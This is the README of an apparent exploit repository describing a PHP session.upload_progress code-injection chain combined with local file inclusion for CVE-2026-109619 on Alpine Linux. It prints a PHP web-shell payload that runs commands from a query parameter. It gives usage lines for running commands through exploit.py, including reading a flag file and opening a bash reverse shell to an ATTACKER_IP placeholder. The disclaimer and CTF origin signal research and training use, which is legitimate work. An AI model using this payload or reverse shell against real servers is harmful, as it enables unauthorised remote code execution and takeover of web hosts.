
CVE-2026-109619 session.upload_progress LFI exploit chain β Alpine/musl compatible PoC
For educational and authorized testing purposes only.
This repository contains a working proof-of-concept exploit for
CVE-2026-109619, targeting PHP's session.upload_progress mechanism.
Most public PoCs for CVE-2026-109618/109619 rely on heap memory corruption and require glibc (Debian/Ubuntu). This exploit takes a different approach β it uses PHP's session serializer to inject code into a session file, then triggers execution via an LFI vulnerability in the target application. This chain works on Alpine Linux (musl libc), where the heap-based chains do not.
This was discovered during the development of a vulnerable training machine for a university cybersecurity platform, while investigating why the standard PoCs failed on Alpine.
CVE-2026-109619 is a stale global state vulnerability in PHP's
session upload progress handler (ext/session/session.c). When
session.upload_progress.enabled = On (PHP's default), PHP writes
multipart upload metadata β including raw filenames β verbatim into
the session file on disk.
This exploit chain abuses that behaviour:
PHPSESSID cookiePHP_SESSION_UPLOAD_PROGRESS set
and a filename field containing a PHP payload:
<?php system($_GET['cmd']); ?>/tmp/sess_<id>include($_GET['view'])) is used
to include the session file while the upload is in progressWhy this works on Alpine but heap chains do not: The heap corruption in CVE-2026-109618 targets glibc's malloc layout. Alpine uses musl libc, whose allocator behaves differently, so the corruption never lands where the exploit expects. This chain has no heap dependency β it is pure PHP logic and works on any libc.
On the target:
session.upload_progress.enabled = On (PHP default)/tmp is the most common)include() or require())On the attacker machine:
requests library (pip install requests)python3 exploit.py <command>
Examples:
# Check code execution
python3 exploit.py id
# Read the flag
python3 exploit.py 'cat /home/apache/user.txt'
# Reverse shell
python3 exploit.py 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
Edit the configuration block at the top of exploit.py to set your
target host, port, LFI path and parameter before running.
| File | Description |
|---|---|
exploit.py | The exploit script |
README.md | This file |
| OS | PHP | Result |
|---|---|---|
| Alpine Linux 3.20 | 8.2.34 (mod_php) | β Working |
Found during development of a CTF-style vulnerable machine for a university cybersecurity training platform. The standard CVE-2026-109618 heap chain failed on Alpine due to the musl/glibc incompatibility β this chain was written as a working alternative.
This tool is intended for use against systems you own or have explicit written permission to test. The author accepts no responsibility for misuse.